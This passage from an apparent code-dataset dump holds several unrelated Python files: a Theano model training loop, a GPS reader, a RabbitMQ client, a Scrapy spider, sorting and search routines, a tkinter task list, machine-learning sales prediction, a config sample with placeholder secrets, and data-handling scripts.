(train_size-num_batch*batch_size))\n # Accumulate results\n total_grads = [np.zeros(param.get_value(borrow=True).shape, dtype=floatX) for param in grcnn.params]\n hist_grads = [np.zeros(param.get_value(borrow=True).shape, dtype=floatX) for param in grcnn.params]\n for j in xrange(num_batch * batch_size, train_size):\n sentL, p_sentR = train_pairs_set[j]\n nj = train_neg_index[j]\n n_sentR = train_pairs_set[nj][1]\n r = grcnn.compute_cost_and_gradient(sentL, p_sentR, sentL, n_sentR) \n inst_grads, cost, score_p, score_n = r[:-3], r[-3], r[-2][0], r[-1][0]\n for tot_grad, hist_grad, inst_grad in zip(total_grads, hist_grads, inst_grads):\n tot_grad += inst_grad\n hist_grad += np.square(inst_grad)\n total_cost += cost\n total_predictions.append(score_p >= score_n)\n # AdaGrad updating\n for tot_grad, hist_grad in zip(total_grads, hist_grads):\n tot_grad /= train_size - num_batch*batch_size\n tot_grad /= fudge_factor + np.sqrt(hist_grad)\n # Compute the norm of gradients \n grcnn.update_params(total_grads, learn_rate)\n # Reduce\n for worker in workers: worker.deepcopy(grcnn)\n # Compute training error\n assert len(total_predictions) == train_size\n total_predictions = np.asarray(total_predictions)\n total_count = np.sum(total_predictions)\n train_accuracy = total_count / float(train_size)\n # logger.debug('-' * 50)\n logger.debug('Total count = {}'.format(total_count))\n # Reporting after each training epoch\n logger.debug('Training @ %d epoch, total cost = %f, accuracy = %f' % (i, total_cost, train_accuracy))\n if train_accuracy > highest_train_accuracy: highest_train_accuracy = train_accuracy\n # Testing after each training epoch\n t_num_batch = test_size / batch_size\n test_costs, test_predictions = 0.0, []\n if args.gpu:\n for j in xrange(test_size):\n sentL, p_sentR = test_pairs_set[j]\n nj = test_neg_index[j]\n n_sentR = test_pairs_set[nj][1]\n score_p, score_n = grcnn.show_scores(sentL, p_sentR, sentL, n_sentR)\n score_p, score_n = score_p[0], score_n[0]\n if score_p < 1+score_n: test_costs += 1-score_p+score_n\n test_predictions.append(score_p >= score_n)\n else:\n for j in xrange(t_num_batch):\n start_idx = j * batch_size\n step = batch_size / num_processes\n # Creating Process Pool\n # Map\n pool = Pool(num_processes)\n results = []\n for k in xrange(num_processes):\n results.append(pool.apply_async(parallel_predict, args=(start_idx, start_idx+step, k)))\n start_idx += step\n pool.close()\n pool.join()\n # Accumulate results\n results = [result.get() for result in results]\n # Reduce\n for result in results:\n test_costs += result[0]\n test_predictions += result[1]\n if t_num_batch * batch_size < test_size:\n for j in xrange(t_num_batch * batch_size, test_size):\n sentL, p_sentR = test_pairs_set[j]\n nj = test_neg_index[j]\n n_sentR = test_pairs_set[nj][1]\n score_p, score_n = grcnn.show_scores(sentL, p_sentR, sentL, n_sentR)\n score_p, score_n = score_p[0], score_n[0]\n if score_p < 1+score_n: test_costs += 1-score_p+score_n\n test_predictions.append(score_p >= score_n)\n assert len(test_predictions) == test_size\n test_predictions = np.asarray(test_predictions)\n test_accuracy = np.sum(test_predictions) / float(test_size)\n logger.debug('Test accuracy: %f' % test_accuracy)\n logger.debug('Test total cost: %f' % test_costs)\n if test_accuracy > highest_test_accuracy: highest_test_accuracy = test_accuracy\n # Save the model\n logger.debug('Save current model and parameters...')\n params = {param.name : param.get_value(borrow=True) for param in grcnn.params}\n sio.savemat('GrCNNMatchRanker-{}-params.mat'.format(args.name), params)\n GrCNNMatcher.save('GrCNNMatchRanker-{}.pkl'.format(args.name), grcnn)\n end_time = time.time()\n logger.debug('Time used for training: %f minutes.' % ((end_time-start_time)/60))\n # Final total test\n start_time = time.time()\n t_num_batch = test_size / batch_size\n logger.debug('Number of test batches: %d' % t_num_batch)\n test_costs, test_predictions = 0.0, []\n for j in xrange(t_num_batch):\n start_idx = j * batch_size\n step = batch_size / num_processes\n # Creating Process Pool\n pool = Pool(num_processes)\n results = []\n for k in xrange(num_processes):\n results.append(pool.apply_async(parallel_predict, args=(start_idx, start_idx+step, k)))\n start_idx += step\n pool.close()\n pool.join()\n # Accumulate results\n results = [result.get() for result in results]\n # Map-Reduce\n for result in results:\n test_costs += result[0]\n test_predictions += result[1]\n if t_num_batch * batch_size < test_size:\n logger.debug('The rest of the test instances are processed sequentially...')\n for j in xrange(t_num_batch * batch_size, test_size):\n sentL, p_sentR = test_pairs_set[j]\n nj = test_neg_index[j]\n n_sentR = test_pairs_set[nj][1]\n score_p, score_n = grcnn.show_scores(sentL, p_sentR, sentL, n_sentR)\n score_p, score_n = score_p[0], score_n[0]\n if score_p < 1+score_n: test_costs += 1-score_p+score_n\n test_predictions.append(score_p >= score_n)\n assert len(test_predictions) == test_size\n test_predictions = np.asarray(test_predictions)\n logger.debug('Total test predictions = {}'.format(test_predictions))\n test_accuracy = np.sum(test_predictions) / float(test_size)\n end_time = time.time()\n logger.debug('Time used for testing: %f seconds.' % (end_time-start_time))\n logger.debug('Test accuracy: %f' % test_accuracy)\n logger.debug('Test total cost: %f' % test_costs)\nexcept:\n logger.debug('!!!Error!!!')\n traceback.print_exc(file=sys.stdout)\n logger.debug('-' * 60)\n if args.cpu and pool != None:\n logger.debug('Quiting all subprocesses...')\n pool.terminate()\nfinally:\n logger.debug('Highest Training Accuracy: %f' % highest_train_accuracy)\n logger.debug('Highest Test Accuracy: %f' % highest_test_accuracy)\n logger.debug('Saving existing model and parameters...')\n params = {param.name : param.get_value(borrow=True) for param in grcnn.params}\n sio.savemat('GrCNNMatchRanker-{}-params.mat'.format(args.name), params)\n logger.debug('Saving the model: GrCNNMatchRanker-{}.pkl.'.format(args.name))\n GrCNNMatcher.save('GrCNNMatchRanker-{}.pkl'.format(args.name), grcnn)\n","sub_path":"experiment/exp_grcnn_ranking.py","file_name":"exp_grcnn_ranking.py","file_ext":"py","file_size_in_byte":20299,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"646995811","text":"\nfrom usbGps import *\nimport json\nimport time\n\n# USB port\nusbPort = \"/dev/ttyUSB0\"\nbaud = 4800\ntimeout = 0\n\nprint(\"running\")\nprint(\"Initialising USB GPS...\")\nmyGps = usbGps(usbPort, baud, timeout)\n\nprint(\"sleeping 1...\")\ntime.sleep(1)\n\nwhile True:\n try:\n\n in_data = myGps.read()\n if in_data != []:\n print (in_data)\n\n time.sleep(1)\n\n except IOError:\n print (\"Error\")\n\n","sub_path":"gps/mainusbgps.py","file_name":"mainusbgps.py","file_ext":"py","file_size_in_byte":394,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"20300779","text":"from Pika_funktion.function_Client import _bind\nfrom Pika_funktion.function_Client import _retrymessage\nfrom global_variable import *\n\nif __name__ == \"__main__\":\n\n# Variablen für Nachricht belegen senden topic\n severity = 'info.Windows' # Nach welchen Kritereien zu Warteschlange geroutet wird\n exchange = 'topic_logs' # Wie man mag\n type = 'topic' # Type auf welche Art der Worker hört\n# Wird Nachricht benötigt???\n prio = 0 # Priorität festlegen\n\n#Connection aufbauen\n connection=_bind() # Verbindung zu Rabbitmq\n channel = connection.channel() # Channel erzeugen\n channel.exchange_declare(exchange=exchange, # Exchange erstellen\n type=type)\n\n#Retry NAchricht senden\n _retrymessage(channel,2,exchange,severity,0,DATA)\n\n#Connection beenden\n connection.close()","sub_path":"Pika_funktion/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":1014,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"650262458","text":"import scrapy\nfrom urllib.parse import urlparse\n\n# helpers to clean up url\ndef delete_parameters(url):\n\tqs = urlparse(url)\n\tres = qs.scheme + \"://\" + qs.netloc + qs.path \n\treturn res\n\nBAD_REQUEST = [404, 403, 500]\n\nclass StupidSpider(scrapy.Spider):\n\tname = \"simple\"\n\n\tdef __init__(self, *args, **kwargs): \n\t\tsuper(StupidSpider, self).__init__(*args, **kwargs) \n\t\tself.respose_status = 200 # by default we hope on OK status for each url\n\t\tself.start_urls = [delete_parameters(kwargs.get('start_url'))]\n\n\n\tdef parse(self, response):\n\t\tself.respose_status = response.status\n\t\tif self.respose_status not in BAD_REQUEST:\n\t\t\tfilename = \"../tmp/job.html\"\n\t\t\twith open(filename, 'wb') as f:\n\t\t\t\tf.write(response.body)\n\n\n","sub_path":"busyCawler/busyCawler/spiders/stupidSpider.py","file_name":"stupidSpider.py","file_ext":"py","file_size_in_byte":713,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"283507119","text":"def insertionSort(array):\n\tfor index in range(1, len(array)):\n\t\tcurrentValue = array[index]\n\t\tcurrentPosition = index\n\n\t\twhile currentPosition > 0 and array[currentPosition - 1] > currentValue:\n\t\t\tarray[currentPosition] = array[currentPosition -1]\n\t\t\tcurrentPosition = currentPosition - 1\n\n\t\tarray[currentPosition] = currentValue\n\treturn array\n\ndef binarySearch(sortedArray, first, last, key):\n\tif last >= first:\n\t\tmid = first +(last - first)//2\n\n\t\tif sortedArray[mid] == key:\n\t\t\treturn mid\n\t\telif sortedArray[mid] > key:\n\t\t\treturn binarySearch(sortedArray, first, mid-1, key)\n\t\telse:\n\t\t\treturn binarySearch(sortedArray, mid+1, last, key)\n\telse:\n\t\treturn -1\n\ndef main():\n\tarray = []\n\tnumber = int(input(\"How many names would you like to enter?: \"))\n\n\tfor i in range(number):\n\t\tn = input(\"Name: \")\n\t\tarray.append(n)\n\n\tprint(array)\n\tsortedArray = insertionSort(array)\n\tprint(sortedArray)\n\n\tkey = input(\"Enter the name you'd like to search for: \")\n\n\tindex = binarySearch(sortedArray, 0, len(sortedArray), key)\n\tif index != -1:\n\t\tprint(key, \"was found.\")\n\telse:\n\t\tprint(key, \"was not found.\")\n\nmain() \n","sub_path":"sortysearchy.py","file_name":"sortysearchy.py","file_ext":"py","file_size_in_byte":1098,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"69774196","text":"# Luo tkinter \nimport tkinter as tk\nimport taskikanta as kanta \nfrom tkinter import *\nfrom tkinter import ttk\n\n# Luo objektit jotka poistaa ja valitsee Taskit\nsql_delete_query = \"\"\"DELETE from Tasks WHERE tehtava_id\"\"\" \nsqlite_select_query = \"\"\"SELECT * FROM Tasks\"\"\" \n\ndatabase = r\"./pythonsqlite.db\"\nuser = \"ville\" \n\nwin = tk.Tk()\n\n# Luo etikettirungot joilla on arvot (win) \nwrapper1 = LabelFrame(win)\nwrapper2 = LabelFrame(win)\n\n# Luo Canvas ,joka ottaa parametrinaan wrapper1:sen \nmycanvas = Canvas(wrapper1)\nmycanvas.pack(side=LEFT) \n\n# Luo vierityspalkki jolla on yview menetelmä, komentoasetus canvaasin suhteen.\nyscrollbar = ttk.Scrollbar(wrapper1, orient=\"vertical\", command=mycanvas.yview) \nyscrollbar.pack(side=RIGHT, fill=\"y\") \n\nmycanvas.configure(yscrollcommand=yscrollbar.set) \n\nmycanvas.bind('<Configure>', lambda e: mycanvas.configure(scrollregion = mycanvas.bbox('all'))) \n\n# Luo ikkuna jolla on x ja y arvo: 0 ja lisäksi Runko muuttuja jolla on parametrina (Muncanvaasi).\nmyframe = Frame(mycanvas) \nmycanvas.create_window((0,0), window=myframe, anchor=\"nw\") \n\nwrapper1.pack(fill=\"both\", expand=\"yes\", padx=10, pady=10)\nwrapper2.pack(fill=\"both\", expand=\"yes\", padx=10, pady=10)\n\n# Luo create_connection muuttuja, joka ottaa parametrinaan (tietokannan). \nconn = kanta.create_connection(database) \nsqlite_select_query = \"\"\"SELECT * FROM Tasks\"\"\" \ntaskit = kanta.readSqliteTable(conn, sqlite_select_query) \n\nr = 0 \nfor tietue in taskit: \n Button(myframe, width=30, text=tietue[2]).grid(row=r, column=0) \n Button(myframe, width=6, text=\"POISTA\").grid(row=r, column=1) \n r = r + 1 \n\n# Luo ikkuna jonka korkeus ja leveys on 500\n# Luo Ikkunalle otsikko \"MyScroller\" \nwin.geometry(\"500x500\")\nwin.resizable(False, False) \nwin.title(\"MyScroller\")\n\nwin.mainloop() ","sub_path":"TASKLIST/VANHAT/Kayttoliittyma.py","file_name":"Kayttoliittyma.py","file_ext":"py","file_size_in_byte":1783,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"297315144","text":"if(__name__ == \"__main__\"):\r\n import zmq\r\n import json\r\n from client_server import constants\r\n # Prepare our context and sockets\r\n context = zmq.Context()\r\n socket = context.socket(zmq.REQ)\r\n print(\"connecting to server...\")\r\n socket.connect(constants.SERVER_LOCATION)\r\n \r\n print(\"sending exit message...\")\r\n socket.send_string(json.dumps(\"exit\"))\r\n ","sub_path":"GameManager Server/src/client_server/terminate_server.py","file_name":"terminate_server.py","file_ext":"py","file_size_in_byte":391,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"26479239","text":"import pandas as pd\r\nimport numpy as np\r\n\r\nimport matplotlib.pyplot as plt\r\n#%matplotlib inline\r\nimport seaborn as sns\r\n\r\nfrom sklearn import cross_validation\r\nfrom sklearn.cross_validation import KFold, cross_val_score\r\nfrom sklearn.metrics import mean_squared_error\r\nfrom sklearn.ensemble import RandomForestRegressor,GradientBoostingRegressor, ExtraTreesRegressor\r\nfrom sklearn.neural_network import MLPRegressor\r\nimport xgboost as xgb\r\nfrom sklearn.cross_validation import train_test_split\r\nfrom sklearn.feature_selection import SelectKBest\r\nfrom sklearn.cross_validation import StratifiedKFold\r\nfrom sklearn.grid_search import GridSearchCV\r\n\r\ntrain_df = pd.read_csv(\"train.csv\")\r\ntest_df = pd.read_csv(\"test.csv\")\r\n\r\ntrain_df['Item_Outlet_Sales_Number'] = train_df['Item_Outlet_Sales']/train_df['Item_MRP']\r\n# convert from float to int\r\nprint(train_df.shape)\r\nprint(test_df.shape)\r\ny_Item_Outlet_Sales = pd.DataFrame(train_df.Item_Outlet_Sales.copy())\r\ny_Item_Outlet_Sales.columns = ['Item_Outlet_Sales']\r\ny_Item_Outlet_Sales_Number = train_df.Item_Outlet_Sales_Number.copy()\r\ntrain_df.drop('Item_Outlet_Sales', axis=1, inplace=True)\r\ntrain_df.drop('Item_Outlet_Sales_Number', axis=1, inplace=True)\r\ndf = pd.concat([train_df, test_df], axis=0)\r\nprint('test shape')\r\nprint(y_Item_Outlet_Sales.shape)\r\nprint(df.head())\r\nprint(df.shape)\r\nprint(df.isnull().sum())\r\ndf = df.dropna(how='all')\r\nr,c = df.shape\r\n\r\n##################################Now treatment of columns is being done #####################################################\r\n#Item_Fat_Content\r\nprint(df['Item_Fat_Content'].unique())\r\ndf['Item_Fat_Content'] = df['Item_Fat_Content'].str.lower()\r\ndf['Item_Fat_Content'] = df['Item_Fat_Content'].replace(['lf'], 'low fat')\r\ndf['Item_Fat_Content'] = df['Item_Fat_Content'].replace(['reg'], 'regular')\r\nprint(df['Item_Fat_Content'].unique())\r\ndf['Item_Fat_Content'] = df['Item_Fat_Content'].map({'low fat' : 0, 'regular' : 1})\r\nprint(df['Item_Fat_Content'].unique())\r\n\r\n#Outlet_Location_Type\r\nprint(df['Outlet_Location_Type'].unique())\r\ndf['Outlet_Location_Type'] = df['Outlet_Location_Type'].map({'Tier 1' : 1, 'Tier 2' : 2, 'Tier 3' : 3})\r\nprint(df['Outlet_Location_Type'].unique())\r\n\r\n#Outlet_Type\r\nprint(df['Outlet_Type'].unique())\r\ndf['Outlet_Type'] = df['Outlet_Type'].map({'Supermarket Type1' : 1, 'Supermarket Type2' : 2, 'Supermarket Type3' : 3, 'Grocery Store' : 4})\r\nprint(df['Outlet_Type'].unique())\r\n\r\n#Outlet_Type\r\nprint(df['Item_Type'].unique())\r\ndf['Item_Type'] = df['Item_Type'].map({'Dairy' : 1, 'Soft Drinks' : 2, 'Meat' : 3, 'Fruits and Vegetables' : 4, 'Household' : 5, 'Baking Goods' : 6, 'Snack Foods' : 7, 'Frozen Foods' : 8, 'Breakfast' : 9, 'Health and Hygiene' : 10, 'Hard Drinks': 11, 'Canned' : 12, 'Breads' : 13, 'Starchy Foods' : 14, 'Others' : 15,'Seafood' : 16})\r\nprint(df['Item_Type'].unique())\r\n\r\nprint(df.head())\r\n\r\n# replace nan on Item weight and Outlet size\r\ndf['Item_Weight'] = df['Item_Weight'].fillna(df['Item_Weight'].median())\r\ndf['Outlet_Size'] = df['Outlet_Size'].fillna(df['Outlet_Size'].mode()[0])\r\ndf['Outlet_Size'] = df['Outlet_Size'].map({'High' : 1, 'Medium' : 2, 'Small' : 3})\r\nprint(df['Outlet_Size'].unique())\r\n\r\n#df.drop('Item_Visibility', axis=1, inplace=True)\r\n\r\n#df.hist(column='Item_MRP', bins=50)\r\n\r\nfigure = plt.figure(figsize=(8,5))\r\nplt.hist(df['Item_MRP'], bins=np.arange(df['Item_MRP'].min(), df['Item_MRP'].max()+1))\r\nplt.xlabel('Item_MRP')\r\nplt.legend()\r\nplt.show()\r\n\r\ndf['Item_Type'] = (df['Item_Type']).astype(int)\r\ndf.loc[ df['Item_MRP'] <= 69, 'Item_MRP'] = 1\r\ndf.loc[(df['Item_MRP'] > 69) & (df['Item_MRP'] <= 136), 'Item_MRP'] = 2\r\ndf.loc[(df['Item_MRP'] > 136) & (df['Item_MRP'] <= 203), 'Item_MRP'] = 3\r\ndf.loc[(df['Item_MRP'] > 203), 'Item_MRP'] = 4\r\n\r\n\r\nmax_visi = df['Item_Visibility'].max()\r\nmin_visi = df['Item_Visibility'].min()\r\nqrt_visi = (max_visi + min_visi)/4 * 1000\r\nprint(qrt_visi)\r\ndf['Item_Visibility'] = df['Item_Visibility'].astype(int)\r\ndf[\"Item_Visibility\"] = df[\"Item_Visibility\"].apply(lambda x: x * 1000)\r\ndf.loc[ df['Item_Visibility'] <= qrt_visi, 'Item_Visibility'] = 1\r\ndf.loc[(df['Item_Visibility'] > qrt_visi) & (df['Item_Visibility'] <= (2*qrt_visi)), 'Item_MRP'] = 2\r\ndf.loc[(df['Item_Visibility'] > (qrt_visi*2)) & (df['Item_Visibility'] <= (3*qrt_visi)), 'Item_MRP'] = 3\r\ndf.loc[(df['Item_MRP'] > (qrt_visi*3)), 'Item_MRP'] = 4\r\nprint(df['Item_MRP'].unique())\r\n\r\ndf[\"Outlet_Establishment_Year\"] = df[\"Outlet_Establishment_Year\"].apply(lambda x: 2013 - x)\r\nprint(df.shape)\r\nresult1 = df.copy()\r\ntrain = df.iloc[:8523,]\r\ntest = df.iloc[8523:,:]\r\nprint(test.shape)\r\n#print(df.isnull().sum())\r\n#print(df.head())\r\n\r\n#plt.figure(figsize=(10,7))\r\n#sns.heatmap(train.corr())\r\n\r\nfeatures =['Item_Weight', 'Item_Fat_Content','Item_Visibility', 'Item_Type', 'Item_MRP', 'Outlet_Establishment_Year', 'Outlet_Size','Outlet_Type', 'Outlet_Location_Type' ]\r\n\r\n#train['Item_Outlet_Sales'] = y_Item_Outlet_Sales[['Item_Outlet_Sales']]\r\nestimators = [50, 75, 100, 125, 150, 200, 250, 500]\r\n#print(y_Item_Outlet_Sales)\r\nfor e in estimators:\r\n xg = xgb.XGBRegressor(n_estimators = e)\r\n \r\n# plt.figure(figsize=(10,10))\r\n xg.fit(train[features],y_Item_Outlet_Sales['Item_Outlet_Sales'])\r\n print(xg.feature_importances_)\r\n xgb.plot_importance(xg, importance_type='gain')#, ax=ax1)\r\n\t\r\ndef prediction_function(train, test):\r\n\tfinal = []\r\n\tparameter_grid ={\"n_estimators\" : [50, 75, 100, 125, 150, 200, 250], \"max_features\": [\"auto\", \"sqrt\", \"log2\"], \"min_samples_split\" : [2,4,8], \"bootstrap\": [True, False]}\r\n\tparameter_grid_gbr = {\"n_estimators\" : [50, 75, 100, 125, 150, 200], \"max_depth\" : [2,3,4,5], \"min_samples_split\" : [2,4,8], \"learning_rate\" : [0.1, 0.2, 0.01]}\r\n\tparameter_grid_xgb = {\"n_estimators\" : [50, 75, 100, 125, 150, 200, 250], \"max_depth\": [2,3,4,5], \"learning_rate\" : [0.1, 0.2, 0.01], \"gamma\": [0, 1, 2, 3]}\r\n\t\r\n\trandom_forest = RandomForestRegressor(random_state = 1, n_estimators = e, min_samples_split = 8, min_samples_leaf = 4)\r\n\tcross_validation = StratifiedKFold(train['Item_Outlet_Sales'] , n_folds=3)\r\n\trandom_forest = GridSearchCV(random_forest, param_grid=parameter_grid, cv=cross_validation)\r\n\t\r\n\txg = xgb.XGBRegressor()\r\n\tcross_validation_xg = StratifiedKFold(train['Item_Outlet_Sales'] , n_folds=3)\r\n\txg_forest = GridSearchCV(xg, param_grid=parameter_grid_xgb, cv=cross_validation_xg)\t\r\n\t\r\n\tgbr = GradientBoostingRegressor(random_state = 1, n_estimators=500, max_depth = 4, min_samples_split= 2, learning_rate = 0.01, loss= 'ls')\r\n\tcross_validation_gbr = StratifiedKFold(train['Item_Outlet_Sales'] , n_folds=3)\r\n\tgbr_forest = GridSearchCV(gbr, param_grid=parameter_grid_gbr, cv=cross_validation_gbr) \r\n\t#print(y_Item_Outlet_Sales.head())\r\n\t\r\n\trandom_forest.fit(train[features], train['Item_Outlet_Sales'])\r\n\tpredictions_rf = random_forest.predict(test[features])\r\n\tpredictions_rf = predictions_rf.astype(int)\r\n\r\n\tgbr_forest.fit(train[features], train['Item_Outlet_Sales'])\r\n\tpredictions_gbr = gbr_forest.predict(test[features])\r\n\tpredictions_gbr = predictions_gbr.astype(int)\r\n\r\n\txg_forest.fit(train[features], train['Item_Outlet_Sales'])\r\n\tpredictions_xg = xg_forest.predict(test[features])\r\n\tpredictions_xg = predictions_xg.astype(int)\r\n\r\n\tmse_rf = (np.sqrt(mean_squared_error(test['Item_Outlet_Sales'], predictions_rf)), 'RF')\r\n\tmse_gbr = (np.sqrt(mean_squared_error(test['Item_Outlet_Sales'], predictions_gbr)), 'GBR')\r\n\tmse_xg = (np.sqrt(mean_squared_error(test['Item_Outlet_Sales'], predictions_xg)), 'XGB')\r\n \r\n\terror_min = min(mse_rf, min(mse_gbr, mse_xg))\r\n\t#final.append((error_min, e))\r\n\tprint(final)\r\n\tmin_final = min(final)\r\n\tprint(\"Minimum MSE, regressor to use and number of estimators: \"+str(min_final))\r\n\treturn list(min_final)\r\ntrain = pd.concat([train, y_Item_Outlet_Sales], axis=1)\r\n#\r\nx_train ,x_test = train_test_split(train,test_size=0.3)\r\nmin_final = prediction_function(x_train, x_test)\r\n\r\ne_to_use = min_final[1]\r\nregressor_to_use = min_final[0][1]\r\nprint(\"Mimimum RMSE error was for \"+str(regressor_to_use)+\" with \"+str(e_to_use)+\" estimators\")\r\n\r\nif(regressor_to_use == 'RF'):\r\n reg = RandomForestRegressor(random_state = 1, n_estimators = e_to_use, min_samples_split = 8, min_samples_leaf = 4)\r\nelif(regressor_to_use == 'GBR'):\r\n reg = GradientBoostingRegressor(random_state = 1, n_estimators = e_to_use, min_samples_split = 8, min_samples_leaf = 4, learning_rate = 0.1)\r\nelse:\r\n reg = xgb.XGBRegressor(n_estimators = e_to_use)\r\n\r\nreg.fit(train[features], train['Item_Outlet_Sales'])\r\npredictions = reg.predict(test[features])\r\npredictions = predictions.astype(int)\r\n\r\nsub = pd.DataFrame({'Item_Identifier' : test['Item_Identifier'], 'Outlet_Identifier' : test['Outlet_Identifier'], 'Item_Outlet_Sales' : predictions})\r\nsub.to_csv('output.csv', index=False)","sub_path":"AnalyticsVidhya/bigdatamart/Solution_final.py","file_name":"Solution_final.py","file_ext":"py","file_size_in_byte":8756,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"428107251","text":"# -*- coding: utf-8 -*-\n\n# app name\napp_name = 'gulag-web'\n\n# secret key\nsecret_key = 'changeme'\n\n# mysql credentials\nmysql = {\n 'db': 'gulag',\n 'host': 'localhost',\n 'user': 'cmyui',\n 'password': 'changeme',\n}\n\n# enable debug (disable when in production to improve performance)\ndebug = False\n\n# social links (used throughout gulag-web)\ndiscord_server = 'https://discord.gg/tRkHttxGV4'\n\ndomain = 'iteki.pw'\n\nwebhooks = {\n 'audit-log': ''\n}\n\n# whether keys should be required for signup\nkeys = False\n\n# captcha for signup page | uses hcaptcha.com\ncaptcha = True\n# below only required if captcha is true\n# captcha **site key** for your **website**\nhcaptcha_sitekey = ''\n# captcha **account key** for **your account** - don't mix this and the site key up!\nhcaptcha_key = ''\n\n# file location of your gulag instance\ngulag_path = '/home/iteki/gulag'\n\n# allowed file extensions for avatars, default is compatible with iteki's gulag instance\navatar_extensions = ['.jpg', '.jpeg', '.png', '.gif']\n\n# mailgun apikey for password resets\nmailgun_key = ''","sub_path":"ext/config.sample.py","file_name":"config.sample.py","file_ext":"py","file_size_in_byte":1057,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"316891249","text":"import tensorflow as tf\nimport numpy as np\nimport pandas as pd\nimport os\n\n\nclass DatasetCreator:\n @classmethod\n def get_data(cls, filename):\n path = os.path.join(os.path.dirname(os.path.abspath(__file__)), '..', 'data', 'datasets', filename)\n data = pd.read_feather(path)\n return data.copy()\n\n @classmethod\n def split_data(cls, data, ratio):\n # Set seed\n np.random.seed(42)\n # Generate random indices\n indices = np.random.permutation(len(data))\n # Calculate how many entries the test data will have\n test_size = int(len(data)*ratio)\n # Get the test indices from the randomly generated indices\n test_indices = indices[:test_size]\n # Get the train indices from the randomly generated indices\n train_indices = indices[test_size:]\n # Return the data corresponding to the indices\n return data.iloc[test_indices], data.iloc[train_indices]\n\n @classmethod\n def create_dataset(cls, data, labels, parameters):\n dataset = tf.data.Dataset.from_tensor_slices((data, labels))\\\n .batch(parameters['batch_size'])\\\n .shuffle(data.shape[0])\\\n .prefetch(parameters['batch_size']*4)\n return dataset\n\n def __init__(self, filename, parameters, reshape=False, cache=True):\n # Read data\n data = DatasetCreator.get_data(filename)\n # Split data\n test_set, train_set = DatasetCreator.split_data(data, 0.2)\n # Split into labels and features\n test_labels = np.round(test_set.iloc[:, 0].to_numpy(), 3)\n test_data = np.round(test_set.iloc[:, 1:].to_numpy(), 3)\n train_labels = np.round([train_set.iloc[:, 0].to_numpy()], 3).T\n train_data = np.round(train_set.iloc[:, 1:].to_numpy(), 3)\n # Reshape\n if reshape:\n st_sz = parameters['stencil_size']\n test_data = np.reshape(test_data, (test_data.shape[0], st_sz[0], st_sz[1], 1))\n train_data = np.reshape(train_data, (train_data.shape[0], st_sz[0], st_sz[1], 1))\n\n self.train_dataset = DatasetCreator.create_dataset(train_data, train_labels, parameters)\n self.test_dataset = DatasetCreator.create_dataset(test_data, test_labels, parameters)\n\n # For speed:\n if cache:\n self.train_dataset = self.train_dataset.cache()\n self.test_dataset = self.test_dataset.cache()\n\n def get_train(self):\n return self.train_dataset\n\n def get_test(self):\n return self.test_dataset\n","sub_path":"src/archive/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":2547,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"339969565","text":"#!C:\\Python26\\python\n# -*- coding: gb2312 -*-\n\nfrom cj.web import *\n \nsql = \"select * from upload_file order by upload_time desc\"\n\nfield = \"sys_id,type_id,file_name,file_path,upload_succ,upload_time,user_login\"\nlabel = \"系统,文件类型,文件名称,文件路径,上传记录数,上传时间,上传用户\"\n\ndm = modal.Modal(field, label, \"file_id\")\n\ndm.type_id.xtype = \"combo\"\ndm.type_id.datasource = \"select type_id,type_name from upload_type\"\ndm.type_id.value_field = \"type_id\"\ndm.type_id.text_field = \"type_name\"\n\ndm.sys_id.xtype = \"combo\"\ndm.sys_id.datasource = \"select sys_id,sys_name from adm_system\"\ndm.sys_id.value_field = \"sys_id\"\ndm.sys_id.text_field = \"sys_name\"\n\ndm.user_login.xtype = \"combo\"\ndm.user_login.datasource = \"select user_login,user_name from adm_user\"\ndm.user_login.value_field = \"user_login\"\ndm.user_login.text_field = \"user_name\"\n\ngrid.DataGrid(dbconn(app_config.dbconn.admin), sql, dm, control=['delete'], title='上传文件管理')","sub_path":"admin/upload_file.py","file_name":"upload_file.py","file_ext":"py","file_size_in_byte":974,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"363747643","text":"#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Jul 5 12:51:22 2017\n@author: aguimera\n\"\"\"\nimport PyGFETdb.DBCore as PyFETdb\nfrom PyGFETdb.DataClass import PyFETPlotDataClass as PyFETplt\nimport PyGFETdb.DBAnalyze as Dban\nimport PyGFETdb.DBSearch as DbSearch\nimport matplotlib.pyplot as plt\nfrom matplotlib import ticker\nfrom matplotlib import cm\nimport matplotlib.colors as colors\nimport xlsxwriter\nimport numpy as np\nimport datetime\nimport tempfile\nimport shutil\nimport sys\nfrom itertools import cycle\nfrom statsmodels.sandbox.regression.predstd import wls_prediction_std\nimport statsmodels.api as sm\n\nCortical30Map = {'Shape': (5, 6),\n 'Ch19': (0, 0),\n 'Ch10': (0, 1), \n 'Ch26': (0, 2), \n 'Ch02': (0, 3), \n 'Ch18': (0, 4), \n 'Ch03': (0, 5), \n 'Ch09': (1, 0),\n 'Ch31': (1, 1), \n 'Ch12': (1, 2), \n 'Ch24': (1, 3), \n 'Ch04': (1, 4), \n 'Ch17': (1, 5),\n 'Ch25': (2, 0),\n 'Ch15': (2, 1), \n 'Ch28': (2, 2), \n 'Ch08': (2, 3), \n 'Ch20': (2, 4), \n 'Ch07': (2, 5), \n 'Ch11': (3, 0),\n 'Ch29': (3, 1), \n 'Ch14': (3, 2), \n 'Ch22': (3, 3), \n 'Ch05': (3, 4), \n 'Ch23': (3, 5), \n 'Ch27': (4, 0),\n 'Ch13': (4, 1), \n 'Ch30': (4, 2), \n 'Ch06': (4, 